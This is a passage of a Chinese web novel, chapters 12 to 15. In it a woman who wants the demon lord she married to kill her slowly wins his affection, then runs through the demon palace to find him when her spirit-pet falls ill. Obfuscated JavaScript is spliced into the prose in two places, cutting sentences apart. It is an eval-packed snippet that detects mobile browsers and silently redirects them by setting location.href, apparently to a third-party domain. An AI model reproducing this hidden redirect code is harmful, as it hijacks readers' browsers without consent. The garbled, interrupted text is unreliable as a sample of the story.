毕竟说实话,就目前这氛围,她也很想逃~ 不过也确实没人知道白酒究竟去了哪里。 氛围被白酒整得这么一出,倒是让氛围放松了不少,但空气中仍然弥漫着一种难以言喻的紧张感。 文可烟静静地躺在床上,被褥下,一双纤细的手不自觉地绞在一起,手指相互缠绕,紧紧地贴在肚子上。目光有些空洞地盯着上方的空气,心中斟酌了许久,每一个字都在舌尖上打转,才小心翼翼地开口。 “……那个……我们……应该不会再做些……什么了吧。” 她的声音细若蚊蚋,若非羿逸安离她不远,否则根本听不清。 羿逸安虽然身体僵硬,但回话的速度却异常迅速。 “我们还需要做什么?” 他总觉得文可烟问话的背后不单单是字面意思,但真正意思又是什么呢?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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羿逸安只觉得喉结不受控制地滚动了一下,一种不适感蓦地遍布全身。 “不……不对吗?” 文可烟故意拖长了音调,声音越来越轻、越来越缓,带着勾人的韵味。 “对,十分对,不过……” 羿逸安觉得文可烟的气息越来越磨人了,好似千万只小爪在他心上挠动,一种陌生而奇妙的情绪在他心底不受控地疯长。 他不清楚这是什么,只是本能地、下意识地远离这让他心慌意乱的源头。 羿逸安往外侧轻微地挪动了一分,动作笨拙且僵硬。 “什……什么?” 文可烟学着羿逸安的语气,故意将话说得断断续续。 “你……你结巴什么?” “而且……” 羿逸安闻言安静了几秒,清亮的双眼在此刻却有些呆滞,似乎在回想确认自己是否真的结巴了。 片刻后,他再次开口:“而……而且什么?” 羿逸安话音刚落,周边更加安静了。 显然,他刚刚不太相信自己结巴了,所以又实验了一番,结果……他的脸渐渐泛起红晕,从脸颊一直蔓延到耳根,那红色带着一丝羞涩,又带着一丝可爱。 文可烟忍不住噗嗤一声轻笑了出来,她的眼睛弯成了了月牙,看得羿逸安脊背一僵。 12. 微倾(三) 【恭喜宿主,你对羿逸安的好感度上涨至4%,继续保持。】 文可烟正沉浸在逗弄小孩的欢乐中,听到这声音,瞬间没了兴致。她脸上的笑意有所收敛,动作也随之停了下来,慢悠悠地躺回去,语气也变得正常了许多。 “而且你挪动什么,都快掉下去了。” 羿逸安恍若惊觉,连忙往里挪动,动作有些慌乱。 就在这时,两人的手不经意间触碰到了彼此。两人都像是被烫到了一般,迅速地将手移开。 “咚”的两声声响传来,在空气中丝丝缠绵回荡。 由于动作过于慌乱,羿逸安不慎滑下了床去,整个人狼狈地坐在地上。文可烟则不小心撞到了墙上,脑袋“嗡”的一声,有些发懵,她下意识揉了揉自己的脑袋。 还没等完全缓过劲儿来,文可烟连忙从床上坐起,双生抓紧床沿,探出脑袋看向坐在地上的羿逸安,焦急出声。 “你没事吧?” 羿逸安视线里,文可烟的半个脑袋猝不及防地映入他的眼帘。她原本整齐平顺的发丝被她自己揉得些许凌乱,几缕发丝调皮地翘起,像是给她增添了几分俏皮。可她却像是浑然不觉,不管不顾,满心焦急地跑来看他的情况。 那模样……就像是他便是她此刻世界里最重要的存在。 羿逸安的眼神飘忽不定起来,始终不敢与她对视。他轻轻咽了口唾沫,喉结微动,不太自然地移开了视线,目光落在了身旁随风轻轻飘动的床幔上,正如他此刻的心绪。 他缓缓垂下头,长长的睫毛轻轻颤抖,遮掩着那翻涌不息的复杂情绪。 “没事。” 这一次,羿逸安刻意调整了自己的结巴语气,让自己的声音听起来更加平稳,可那微微颤抖的尾音,怎么也掩藏不住。 他猛地起身,动作之大,连他自己都感到惊讶。 “我……” 文可烟好奇地瞪大了眼睛,一眨不眨地盯着他,那双不解的大眼睛里,倒映着羿逸安此刻那慌乱的神情。 羿逸安盯着文可烟那充满好奇的眼睛,心中涌起一股莫名的情绪,促使他做出这以前根本不会做的、不同寻常的事情。 “我出去一下。” 文可烟愣了一下,她从未见过羿逸安如此模样。以往他总是一溜烟说走就走,从不曾有过这样的报备。 她呆呆地坐在床上,下意识地问道:“你还回来吗?” 羿逸安前行的脚步猛地一顿,愣在了原地。视线直直地落在自己已踏出第一步的那条腿上,一种前所未有的困惑毫无预兆袭上他的心头。 以往的他,行事随性,总是如风般飘忽不定,从不曾用如此“低端”、如此“婆婆妈妈”的方式抵达任何地方。 在他的认知里,离开就是离开,何须报备,可此刻…… 羿逸安紧闭上双眼,待他再次睁开双眼时,眸中的迷茫已被一层寒霜般的冷静所取代,只是那冷静之下,依旧隐藏着难以言说的波澜。 他声音闷闷的,带着一丝压抑:“嗯。” 望着羿逸安早已消失的背影,文可烟回过神来。她皱了皱眉,眉宇间满是困惑。 难道还没触及他底线? 都已经这样、这样、那样了呀? 还要她怎样? 文可烟回想起刚刚羿逸安的种种反应…… 【恭喜宿主,好感度上涨至5%】 他的耳尖红红的…… 【恭喜宿主,好感度上涨至6%】 他的脸也有些……还结巴…… 【恭喜宿主,好感度上涨至7%】系统的声音再次响起,说不上来的兴奋与雀跃。 【照这样的速度,宿主的攻略任务完成进度指日可待,请继续加油哦!】 【提醒:宿主攻略任务每达到20的倍数将会获得奖励。当然,中途还会有其他任务,如果完成,也会有相应的奖励。】 啧,文可烟觉得这个系统,当真煞风景得很。 多余又无用…… 她更觉得,自己像是在搬起石头砸自己的脚,没把羿逸安惹怒,反倒主动跳入沼泽,越挣扎就越快把自己搭进去,越陷越深,难以自拔。 此刻的羿逸安独自站在庭院之中,夜色如墨,将他修长的身影勾勒得格外清晰。 夜风带着淡淡的凉意,轻柔地滑过他的脸颊,像是能穿透肌肤,直抵骨髓。 羿逸安深深地吸了一口气,那清冷的空气也许能洗净心中的尘埃,却难以平复他内心的汹涌波涛。 他心中充满了困惑与不解,却又找不到出路。他不明白自己为何会有如此强烈的反应,而且那反应完全不受他意志控制。 他不清楚这种反应名为什么,更不清楚接下来会发生什么。他只知道,如果再继续待下去,他可能会完全失控,那种失控是他所无法预料和掌控的。 他的人生,在大长老的监控下,一直以来都是规规矩矩、按部就班,从未有过这样的失控。 不可否认的是,在这份混乱与迷茫之中,他却感到奇异地感到喜悦。他似乎是有些喜欢这样的感觉,那种心跳加速、血液沸腾的激情,让他感到前所未有的生动与真实。 但这种感受,这种反应所带来的后果究竟是好是坏?他一无所知。 羿逸安望向天空,繁星点点,如同撒在黑色绸缎上的钻石,璀璨而遥远。他凝视着这些星辰,孤独与迷茫依旧盘桓在心中。 他感觉自己像是迷失在这浩瀚星空中的落单星星,找不到前进的方向,也看不到彼岸的同伴。 常年待在魔族的他,从未接触过其他任何生灵和事物。他的世界,就像一个狭小而单调笼子,所有的观念都来自于爹娘之间的相处和大长老所灌输的思想。他如同一只被囚禁的笼中鸟,对外面的世界一无所知。 所以面对这从未知的感受,羿逸安是第一次,感到前所未有的无所适从。他不知道该如何面对这种情感,如何应对这种变化,又如何消解。 羿逸安低着头,双手不自觉地握紧了拳头,似乎在试图抓住些什么,却又什么也抓不住。 原来,这便是成亲吗? …… 在那张宽大的床上,文可烟一静静躺了许久。她面对的方向,正是房门,虚无的眼神似在看向门,却又似并没有看着门。 突然,房间里的烛光在这一刻瞬间熄灭。 周围陷入了一片黑暗之中…… 窗外的月光透过细微的缝隙,洒下几率清冷的光辉,却更添了几分孤寂。 侧躺在床上的文可烟,身体不自觉瑟缩了一下。她单手紧紧揪着怀里的被褥,嘴唇被她咬地透出些许苍白。她下意识想要去寻找些什么,可伸出的手却只是徒劳地抓到了一片虚无。 他不会回来了…… 他已经离开了…… 他第一次骗了她…… 他和那些人没什么区别…… 她缓缓收回手,把头缩进被褥里,试图用这种方式来逃避什么。 下一秒,一阵寒冷从被褥另一头传了过来,文可烟背后传来了丝丝的寒意,那一侧的床在一瞬间微微塌 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羿逸安的脸颊在这无边的黑暗中却像是被无形的火焰灼烧。刚刚在外面好不容易平静下来的燥热,一瞬间又开始肆意蔓延,烧得他浑身都涌起一种前所未有的异样之感。 他生疏地克制着这份异样的情绪。或是觉得这姿势太磨人,他开始机械地以轻柔而谨慎的姿态调整着自己的姿势,从侧躺面对着文可烟的暧昧姿态,缓缓变为摆正身体,最后再面朝黑暗的那一面。 整个过程漫长又僵硬,随着两人交织的呼吸声逐渐消失,那份灼热的感觉才稍稍减退。 文可烟察觉到了羿逸安的细微动作,指尖微微一动,同样小心翼翼地调整着自己的身姿,随后再慢慢地转向没人的那侧。 两人之间的距离在无声中拉长,心跳也渐渐在恢复,可依旧比平常快了几分。 空气中那抹有些暧昧的缠绵气息,也在时间的流逝中逐渐消散一些……像是被微风吹散的水汽,只留下淡淡痕迹,复又重聚起来,完全挥之不去…… 幸好是在黑暗中,不然得多尴尬。 …… 第二天清晨,文可烟缓缓睁开惺忪的睡眼,意识还未完全清醒。她下意识伸手触摸身旁,就像以往找白酒时那般,十分自然且依赖。 划来划去,却只触碰到一片冰凉,那凉意瞬间遍及她全身,让她猛地清醒过来。 文可烟根本无法判断羿逸安是何时离开的。不过,当她目光扫过床的另一边时,却意外地发现了白酒正蜷缩在那里,它的小脑袋埋在身体里,像个白色的小毛球,睡得真香。 “你居然没跟着他一起离开。” 白酒慵懒地抖了抖小尾巴,伸展开自己的身体。 “……嗯……对啊,我不用进小黑屋了。” * 两天后,羿逸安如约而至,但这次却有些反常。 之前他总是晚上才来,可今日,他却选在了中午时分,阳光正盛的饭点。 文可烟抱着白酒坐在膳桌前,瞪大眼睛看着面前的羿逸安。 若非窗外的日光在缓缓流动,若非不是时间在流逝,这场面完全就是一副静止的画。 是什么原因致使他中午就来了?他不是一直都是晚上来吗?今日怎就突然打破? 文可烟还未回过神来,只觉思绪还停留在那个夜晚,羿逸安却像是早已习惯了这样的时刻。 13. 微倾(四) 羿逸安神色淡然,十分自然地坐在膳桌前,默默拿起一旁的筷子,面无表情地给文可烟布菜,一碟接一碟……动作娴熟而优雅。 如同从古画中走出的贵公子,只是周身那股若有若无的清冷气质,又让他与这平凡的膳桌场景显得有些格格不入。 文可烟淡淡地微微一瞥,目光被羿逸安那修长的手指吸引,缓缓落在他手中那一碟一碟精致的菜品。 她的的视线在羿逸安手上……啊不,佳肴上停留片刻后,有些不敢相信。眼珠缓缓上移,她的目光缓缓上移,转到他面若如冰的面容。他的脸依旧冷峻,薄唇微抿,没有一丝表情,让人猜不透他内心的想法。 文可烟心中不由得冒出一个荒诞的想法,睫毛微微颤动。 难不成他是专门来监督她吃饭的? 但下一秒,她又觉得这个想法太不切实际了。 经过前两天的内心调整,文可烟那上下波动的情绪,恢复了以往的平静与淡然。她微微垂下眼眸,不动声色地将自己的目光从羿逸安那俊冷的面容上移开。 紧接着,她轻轻挺了挺脊背,端正了自己的坐姿。微微扬起下巴,轻咳一声,以平静且清晰的语调开口。 “我要出去。” 羿逸安闻言,布菜的手在空中微微一滞,短暂又细微。他眼神依旧专注地看着面前的菜,若无其事地将菜放入文可烟的碗中,像是没有听到她的话语一般。 面对羿逸安的装聋作哑,文可烟的眉头微微皱起,她再次挺直了身子,试图引起羿逸安的注意。 “魔尊大人何时变得如此喜欢强求别人了?甚至还玩起了囚禁的游戏。” 羿逸安的面色依旧平静如水,他从容地放下筷子,缓缓抬起头,用犀利地眼神看向文可烟,眼神中透露出的威严令文可烟心下一抖。 这才是魔尊该有的气场,他该有的样子,而不是之前那般…… 感受到那股强大的气场,文可烟几不可察地吞咽了一下唾液,慌乱地偏过头去,不再与他对视。 她努力装出一副态度强硬的样子,却始终不敢看羿逸安一眼,再次开口。 “我并非你买来的物件,我有自己的灵魂,也应有选择的自由。” 她早已猜到羿逸安不会轻易回复她,便一个劲继续说出自己的最终目的。 “你若想要一个乖巧听话的……妻子,绝无可能。要杀要剐,悉听尊便。” 虽然她看起来气势逼人,但内心却慌乱得像一团乱麻。 文可烟默默在心里跪地祈祷着:千万不能剐啊,只能杀……她怕疼。 羿逸安双手虚握着拳,抵在桌沿上,低垂的眼眸凝视着桌面,不知道在想些什么。 空气凝固得让文可烟想逃。 这时,羿逸安突然缓缓抬起手。 文可烟本能地用手一挡,双手在空中慌乱的挥舞一下,然后紧紧交叉在头顶。双眼紧闭,长长的睫毛因紧张而剧烈颤抖。 疼痛却并没有如她所想那样到来,文可烟缓缓睁开一只眼,透过双臂交叉的间隙看了过去。 只见一条精致而神秘的链子出现在羿逸安手中。 羿逸安轻轻通过膳桌子将链子移到文可烟眼前。 “出去前必须和我说一声。” 文可烟维持着之前的动作,瞥了眼那条吊坠,脑海中不合时宜地想起之前听过的一下关于魔尊的癖好,思绪一下子跑偏。 她结结巴巴:“我说了……我不是……你养的宠物。” 羿逸安的眼神瞬间变得凌厉起来,他猛地贴近文可烟,那张俊美的脸庞几乎与她的鼻尖相触。 文可烟看着这张近在咫尺的脸,感受着他温热的呼吸喷洒在自己脸上。她下意识地屏住呼吸,大脑一片空白,忘记了反应。 羿逸安的话语如寒冰般在文可烟耳畔回荡,那低沉的声音震得她耳骨发麻,忍不住想要伸手去挠。 “你现在的命在本座手里。” 文可烟的目光呆滞,视线凝固在那已然空荡的座位上,好似羿逸安的身影还在那里,散发着强大的气场。 她右手不自觉地抚摸着怀中的白酒,眼神恍若游离于梦境与现实之间,轻声呢喃。 “这和我的命有什么关联?” 文可烟丝毫没意识到自己与羿逸安根本不在同一频道上,彼此无法理解。 白酒在她怀中颤抖不已,大气都不敢出,生怕魔尊大人因盛怒之下,将他们统统扼杀于无形。 它心有余悸地回忆着羿逸安方才那突如其来的气势转变,那是他杀人前特有的姿态,沉默如深渊,出手无情。 而今日,他竟说了这么多的话……情绪起伏之大,比平日里不说一句话就杀人的他还要可怕,还要令人毛骨悚然……他冰冷的眼神…… 白酒更激烈地一抖,缩进文可烟怀里,把自己的身体团成一个球。 文可烟到现在也还没从刚才的震惊中缓过神来,那张充满冲击力的脸庞在她脑海中挥之不去,她好像现在还能感受到他说话间的气息拂过她的脸颊。 直至白酒从她腿上溜走,她才恍若初醒。 羿逸安离去后,那股寒冷的气息依旧,紧紧束缚着这个本来温暖的室内。 白酒因那压抑至极的氛围感到不适,即便在文可烟那温暖的怀抱中,也无法汲取暖意驱散周围紧紧缠绕的寒意。于是,它索性逃离了事发之地,躲进了远离膳桌,柔软的被褥之中。 文可烟的视线落在了那条精致的链子上。她反应过来—— 不对啊,她一开始不是打算惹怒他吗?怎么现在成她的命在他手里了? 哦,她想死在他手下,命确实在他手里。 想到这儿,文可烟又仔细看起那条链子。她轻蹙起眉,看起来这就是一普通链子,没什么特别的。 她脑海中很应景地回忆起刚刚她与羿逸安的对话。 ——“我说了……我不是……你养的宠物。” ——“你现在的命在本座手里。” “……” 他好像没想到那个什么癖好……没那个意思…… 那他什么意思? 是提醒她死期将至,做好准备? 文可烟不由自主地伸手拾起链子,细细端详。 吊坠的最底部,竟雕刻着一只精致小巧的狐狸,栩栩如生,好像随时都有可能跃然而出,灵动异常。 狐狸的眼睛如同两颗深褐色的宝石,当文可烟的视线与那双眼睛交汇,她竟产生出一种她在与之相视的错觉,让她感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423427|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到莫名温暖。 只不过那狐狸图案十分小,若非近观,几乎分辨不出。 狐狸?他喜欢狐狸吗? 文可烟轻轻摩挲着那只狐狸图案,感受着它细腻的触感,指尖传来的凉意与心中的疑惑交织在一起,让她陷入了沉思。 既然这链子不是干那啥的,又是如何用的呢? 小狐狸吊坠在文可烟纤细白皙的手中翻来覆去地摆弄着。 或许是方才那一幕太过震撼,文可烟的思绪难以集中,稍一走神,便又飘远。 她无意识地抬起手,在腿上轻轻摸索着,却扑了个空,这才猛然意识到白酒早已溜走。 文可烟收起狐狸吊坠,缓缓起身走向床边,掀开被褥,将白酒从温暖的庇护中捞出。 白酒似乎还沉浸在对羿逸安那股骇人气场的恐惧中,身体依旧在微微发抖。 “白酒,你怎么了?” 白酒可怜巴巴地望着文可烟。 “你以后能不能别再惹主人生气了?太可怕了,比他真的杀人时还要可怕。” 文可烟手指抚摸着怀中的白酒,眼神有些虚捂,若有所思,重复着白酒的话。 “比他真的杀人还可怕?” 白酒小小的身子往文可烟怀了缩了缩。 “嗯,我从没见过他这样。” “他通常都是很平静地迅速地解决一切,绝不会像今天这样,眼神如此可怕。” 说完,白酒便把头埋进了文可烟的怀里,小小的爪子紧紧抓着她的衣裙,想寻求更紧密的安慰。 听完白酒的话,文可烟微微垂下眼帘。她觉得自己可能真的朝前迈进了一大步。 也许,下一次,她就成功了。 “你为什么要激怒他啊?” 白酒不是没看出文可烟的故意,可它不理解文可烟这么做的缘由。 文可烟低头看着怀中的白酒,指尖轻轻梳理着它柔顺的毛发。她不想告诉白酒自己的真实想法,因为那太过复杂、太过沉重……不适合告诉这天真的小团子。 文可烟扬起嘴角,露出一抹淡淡的、带着些许苦涩的笑,轻轻点了点白酒的头,十分轻描淡写。 “我只是单纯想出去罢了。” 白酒用脑袋蹭着文可烟的手,希望她能改变主意。 “真的很吓人,我们就在这里玩不行吗?” 文可烟想着这片魔界净地,这里一切都很美好,生活在这里,确实无忧无虑。可这真的是她想要的吗? 显而易见,不是。这样的生活还不足以抵消她心存死志的想法。 文可烟歪头看向白酒,语气十分平静,其中的落寞却遮掩不住。 “那你不想去看看外面的世界吗?” 说完,她的眼神望向窗外,好似穿透了无尽的黑暗,看到了她所向往的“离开”。 “外面有好多好吃的,你闻着就能流口水;有各种各样有趣的戏本子,里面的故事你完全想不到;有好多好玩的玩具,五颜六色的;有与这里截然不同的风景,有青山绿水,有繁花似锦;还有和我不一样的生物……你可能还会交到很好很多的……朋友,他们会陪你笑,陪你哭……” 文可烟缓缓描述着这些她在心中想过无数次劝解自己的话。 14. 微倾(五) 那些事物,在往昔岁月里,本都是可能会让她兴奋不已、心潮澎湃的存在。 可如今,她的语调平静无波,好似一潭死水,而这看似平静的表象,根本掩不住心中那份深沉的苍凉。 这些曾经让她心动不已的事物,她都经历过。只不过,现实不尽人意,一切都背道而驰,都是反的。如今提及,却如同过眼云烟,激不起丝毫涟漪。 这份淡漠,不仅仅是针对这些外在的事物,更是对世间一切人事物的一种疏离与无感。 文可烟的心,早已被一层厚厚的冰密不透风地包裹着,寒冷又孤寂。 白酒听着文可烟的描述,眼中闪烁着兴奋的光芒,早已把刚才的恐惧抛诸脑后。 “听起来真的很好啊。” 文可烟和白酒的表现状态两相对比之下格外鲜明。一个兴奋溢于言表,对未来充满了期待与憧憬;一个平静如水,心中有着淡淡的死感,早已看透世界本质。 可是只有一根筋的白酒是不会察觉出来这种区别的。 文可烟缓缓低下头,目光温柔地落在白酒身上,指尖轻轻地抚摸着白酒的小脑袋。嘴角再次勾起一抹淡淡的微笑,藏着苦涩的微笑。 “所以,下次我再这样不小心惹到你主人的时候,你就直接躲到小黑屋吧。” 文可烟的声音轻柔而无奈,却被白酒听出一丝哀求。 这样白酒就不会真实面对那些可怕的事情了,也不会因她而受到牵连,更重要的是就不会讨厌她了…… 白酒懵懵懂懂地望着文可烟,它的小脑袋却摇得像拨浪鼓似的。 “不要,我要和你待在一起。” 这它可知道,“有难同当,有福同享。” 文可烟看着白酒,心中暗自考量。 看样子,她得找个白酒不在的时候行动。 她知道,自己的计划一旦实施,可能会给白酒带来不可磨灭的阴影,她不想伤害这个天真无邪的小家伙。 保护它,就当是在保护曾经的自己吧,保护那个对世界满是憧憬的自己。 * 自那之后,羿逸安在中午匆匆来了一趟后,便如同人间蒸发了一般,始终没再出现。 文可烟对于这样的事,一如既往的淡然。她照旧带着白酒吃吃喝喝,玩玩闹闹。 或许,是早已习惯了这样的若即若离,又或许她在心底装作不在意。不管怎样,她表面上看不出丝毫变化。 文可烟觉得他不太像一个做了承诺会失信的人。 因为上次……他没有。 她偶尔也会闪过某个念头,他或许会将剩下两次见面留至一周期限的最后两天。也偶尔觉得,他不来也无妨,毕竟,他本就没必要对她坚守那份毫无意义的承诺。 直至第八日清晨,室内安静极了。 平日里那个总是围着文可烟蹦蹦跳跳,用它那圆溜溜的眼睛望着她,讨要抱抱的白酒,此刻却显得异常萎靡。 白酒整个身躯散发着一种令人心悸的虚弱。 它静静趴在床上,四肢无力耷拉着,大大的眼眸半眯着,似乎连掀动眼皮的力气都已耗尽。它的气息十分微弱,若文可烟不凑近仔细听,完全感受不到它的气息。 文可烟心猛地一揪,手足无措地将手抬起又放下,分毫不敢碰白酒。 她虽无数次在生死边缘徘徊,早已看淡生死。但第一次亲眼目睹一个生命的逐渐消逝,却让她感到前所未有的害怕与恐慌。 “白酒,你怎么了?” 文可烟慌张的询问,她想要做些什么,却发现什么也做不了。眼中满是焦急,那种急切,无法用言语表达出来。 她的喉咙像是被什么堵住了一般,有些哽咽。 “有什么办法能救你吗?我我……” 虚弱的白酒躺在床上,嘴唇微微翕动,似乎想说些什么。 文可烟连忙俯下身来,将自己的耳朵贴到白酒嘴边。怕自己把白酒压到,还特意将手撑在白酒两侧,手指紧张地蜷缩着。 白酒气息微弱,说出的话艰难且缓慢。 “我……知道……我……为……什么……会突然……被关在……小黑屋。” 文可烟心中一紧,此刻并非解释这些无关紧要的事的时候,但她的焦急很快被白酒接下来的话所打断。 “小……黑屋……是……我的……房间。” 白酒的气息愈发微弱,声音轻得如同雪花飘落至地,转瞬即逝。 文可烟眉头紧锁,双手不自觉紧紧地攥着衣袖。 “什么意思?” 她在心中反复咀嚼着“小黑屋是白酒的房间”这句话,突然之间,心下一动。 “你是说,小黑屋其实是你的能量之源,就像人类的床榻一样,而你现在需要回到那里去恢复?” 白酒已经无法睁开眼睛了,只能微微晃动着自己的小尾巴,算是默认了她的猜想。 文可烟的心瞬间沉了下去。 “可你主人不知道什么时候回来,他……现在……我们……该怎么办?” 文可烟的思绪如同一团乱麻,她的话语也开始变得支离破碎。她太慌了,这其实是她第一次如此近距离地面对死亡的临界,她怕白酒就这么死了,在她的眼前…… 文可烟她看着已经毫无反应的白酒,整个人呆立当场。 “白酒?” 过了好一会儿,她才颤抖着手去试探白酒的脉搏和呼吸。 幸好! 文可烟屏住的呼吸,终于吐了出来。 还有一丝微弱的气息存在,虽然微弱得几乎可以忽略不计,但对她来说,却是莫大的安慰。 当务之急应该做什么? 文可烟的头脑疯狂运转,她强迫自己冷静下来,思考对策。 她的眼神在屋内四处游移。突然,目光顿在枕头上。 羿逸安之前给她的狐狸吊坠,她当时放在枕下。 她心急如焚,手脚并用,像个急切的孩子爬了过去,双手慌忙地摸进枕下。指尖触到那冰凉,她毫不犹豫将狐狸吊坠紧紧握在手中,而后连带着将手放在胸前。 文可烟感受着手心的冰凉,狐狸吊坠的触感顺着肌肤一点点渗透进心底。这一刻,这冰凉成了她心中唯一的温暖。 羿逸安从未告诉过她如何使用这个东西。 是不是可以直接出去?只需要带着这条吊坠就行。 她双手颤抖着给自己带上了狐狸吊坠,一步步朝边界走去。 之前她想逃出去时,每次走到边界,她总觉得有堵无 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“尊上已经许久未归了,我们需要去尊上的寝宫添置些东西吗?”一个侍女轻声说道。 “不可!”另一个侍女有些严厉地打断道,“尊上走前曾有严令,任何人不得擅入。” “可是……”第一个侍女似乎还想说些什么。 “别可是了,听说尊上已经回宫,现下正与长老们在议事阁商议要事。等尊上回寝宫时,自会吩咐,何须你多管闲事?” …… 脚步声在空旷的走廊中渐行渐远,回荡着一种莫名的寂寥。 议事阁? 或许,能在那里找到羿逸安。 可议事阁又在哪儿呢? 这魔界如此庞大复杂,她根本毫无头绪。 算了,碰碰运气吧。 她心中一片茫然,犹豫片刻,只能凭借着微弱的直觉,轻轻推开门,向寝殿外走去。 文可烟出门的脚步猛地一顿。 殿外的世界,与她初入牢房时的记忆重叠,昏暗而漫长的通道,好像没有尽头。 周围的一切,如同复制粘贴般,每一砖一瓦都长得一模一样,分不清哪里是来路,哪里是归途。 微弱的烛光在斑驳的墙壁上摇曳,投下一道道诡异又扭曲的影子,如同鬼魅般在她身边徘徊。每一个影子的晃动,都像是一记重锤,狠狠地敲击着文可烟本就紧绷的神经。 她小心翼翼地迈着步子,全神贯注地摸索着前进。就在这时,一个扭曲得几乎不成样子的影子,在她余光的边缘一闪而过。 文可烟的心猛地一滞,寒意从脚底迅速蔓延至脊背,随之而来的是身子猛地一缩,她下意识地紧紧抱住自己。 这一折腾,她的呼吸变得急促起来,胸口剧烈起伏着。那些曾经在话本子里听过的妖魔鬼怪,此刻变成无数念头盘旋闪现在她脑海中。 但这份恐惧很快被对白酒的担忧所压下来,她强迫自己镇定下来,继续前行。 魔族到底是如何在这错综复杂的道路上,准确无误把握方向感的? 这个疑问在她脑海中快速一闪而过,便很快便消失,毕竟此刻的文可烟根本无暇顾及这些。 15. 微倾(六) 按照以往,文可烟绝不会在此种阴森的环境中独自行走。可此刻,她没有其他选择。白酒的性命危在旦夕,她做不到坐视不理。 周围的一切都安静得可怕,只有她那略显急促的脚步声,在这死寂的空间里回荡。 丝丝缕缕从四面八方涌来的阴森气息,几乎像一条条冰冷的小蛇,顺着她的毛孔,一点一点地钻进她的身体,黏腻又恶心。 她只能逼退身体的不适反应,强迫自己凭借着仅有的那一点点直觉,一点一点摸索前行。 每每经过转弯处,文可烟都会紧张得全身肌肉都紧绷起来,手心直冒冷汗。掌心被浸得滑腻不堪,连握紧狐狸吊坠这么简单的动作都变得困难无比。 但即便如此,她也未曾停下脚步,只焦急地在阴森昏暗中摸索前行,疯狂地找寻羿逸安的身影。 就在文可烟几近绝望时,胸前的狐狸吊坠突然闪烁起来。 散发出柔和而神秘的光,瞬间照亮了她周围的一小片黑暗。 她似乎有所感应一般,内心深处有种奇妙的感觉。 这狐狸吊坠似乎在为她引路。 文可烟黯淡无神、满是绝望的眼神中,透过一点希望。她双手不自觉护在胸前,连忙加快脚步,紧紧地跟随着吊坠的指引。 走到一个岔路口时,文可烟犹豫地面向左边,脚步有些迟疑。就在这时,吊坠却忽然熄灭了。 她的心猛地一沉,抬起腿的动作在空中停顿了一瞬,双手下意识攥紧狐狸吊坠。她尝试着转变方向,朝向右边的岔路口。 果然,狐狸吊坠在此刻又开始闪烁起来,默默地指引着她走向正确的方向。 她继续跟随着吊坠指引她的方向前进着,脚步半刻不敢停下来…… 不知不觉间,已走到一堵雕花石墙前。 一阵低沉而带着不易察觉威胁的中年男子声音,从紧闭的雕花石墙后透出。 “药丸之事虽大,但凡事皆有轻重缓急。即便她是服下药丸后唯一幸存之人,是解开药丸秘密的唯一线索,但……” “宁可错杀一人,也不能放过一人,这道理,尊上理应比我更加懂吧。” 文可烟的心猛地一缩,生出一种被无形之手紧紧攥住的感觉。 原来这是一扇隐蔽的石门。 听着这些分外陌生的声音,文可烟的身体微微抖了一下。其实她并未过多留意那话语中的寒意,此刻她的全部注意力都集中在胸前的吊坠上。 吊坠在石门前的光影中突然熄灭,紧接着,它开始闪烁着不同于之前的光芒。那光芒变幻莫测,忽明忽暗,似乎在向她诉说着什么, 她的眉头微微皱起,一股莫名的勇气促使她不再犹豫,双手用力地推开那扇雕花石门。 “轰隆——”一声,石门缓缓打开,文可烟就这样闯入了庄严肃穆的议事阁。 议事阁内,众人正襟危坐,被这突如其来的闯入惊得面面相觑,不悦的目光如利剑般向她投来。 议事阁何等兹事体大的地方,何人竟轻而易举地说闯就闯进来了? 但文可烟此刻把这些眼神视若无物,只是焦急地寻找着羿逸安的身影。她的目光在每个魔身上一一扫过,最后视线定格在某一处。 “你……能不能跟我回去一趟,白酒它快不行了。” 她的声音听起来似在恳求,又似只是在焦急。 话音未落,文可烟便已不顾一切地径直奔向羿逸安。她的发丝在风中微微飘动,原本柔顺的发丝此刻显得有些凌乱,更添了几分楚楚可怜。 她这些举动,完全打破了所有见过她的第一印象,那些曾经觉得她淡漠的魔,此刻瞳孔微微一颤。 文可烟伸出手紧紧拉住羿逸安的衣袖。 羿逸安一僵,目光停留在那被她攥得有些发皱的衣袖上。 众人被文可烟的莽撞举动震惊得一时无语,议事阁内陷入一片短暂的寂静。 渐渐地,从她如此大胆的举动中,众魔猜到了她的身份——尊上的妻子。 大长老微微掀起眼皮,用一个意味深长的眼神示意身旁的长老采取行动。 那位长老身形一动,拦在了文可烟的去路上。 “何人胆敢在此放肆?” 紧接着,室内不知何处传来一声附和。 “如此刁蛮任性之人,该杀!” 这声音听起来竟有些耳熟,但此刻文可烟根本无暇细想这一闪而过的疑惑。 话音未落,室内不知从哪儿冒出许多魔,开始纷纷附和,声浪一波接一波地涌向文可烟,冲击着她的耳膜。 “……” 文可烟只觉得头脑一阵眩晕,但其中更多的还是对白酒的担忧。 站在大长老身旁的人纷纷围拢过来,一团浓郁的黑气朝文可烟张牙舞爪地扑过来。 文可烟紧闭双眼,下意识地双手交叉挡在前面。那黑气却在即将触碰到她的瞬间消散于无形之中。 大长老睨着文可烟,终于甩袖轻“哼”一声。 “你这女子,果真不一般。” 说完,他的眼神在文可烟身上扫视着,好像要将她看个透彻,而他的胡须也随着他的动作飘动着。 羿逸安的心被什么重物狠狠地扯了一下,猛地一紧。在别人看不见的角落,他隐藏在衣袖下的拳头逐渐放松开来,垂下的眼眸中闪过一抹复杂的情绪。 文可烟依旧不顾周围人的喧嚣与威胁,再次伸出手,轻轻拉上羿逸安的衣袖想要离开。而其实她的双手在微微颤抖,好像随时都会崩溃。 文可烟有些哽咽,努力眨了眨眼睛,强迫自己保持镇定,不让泪水滑落。 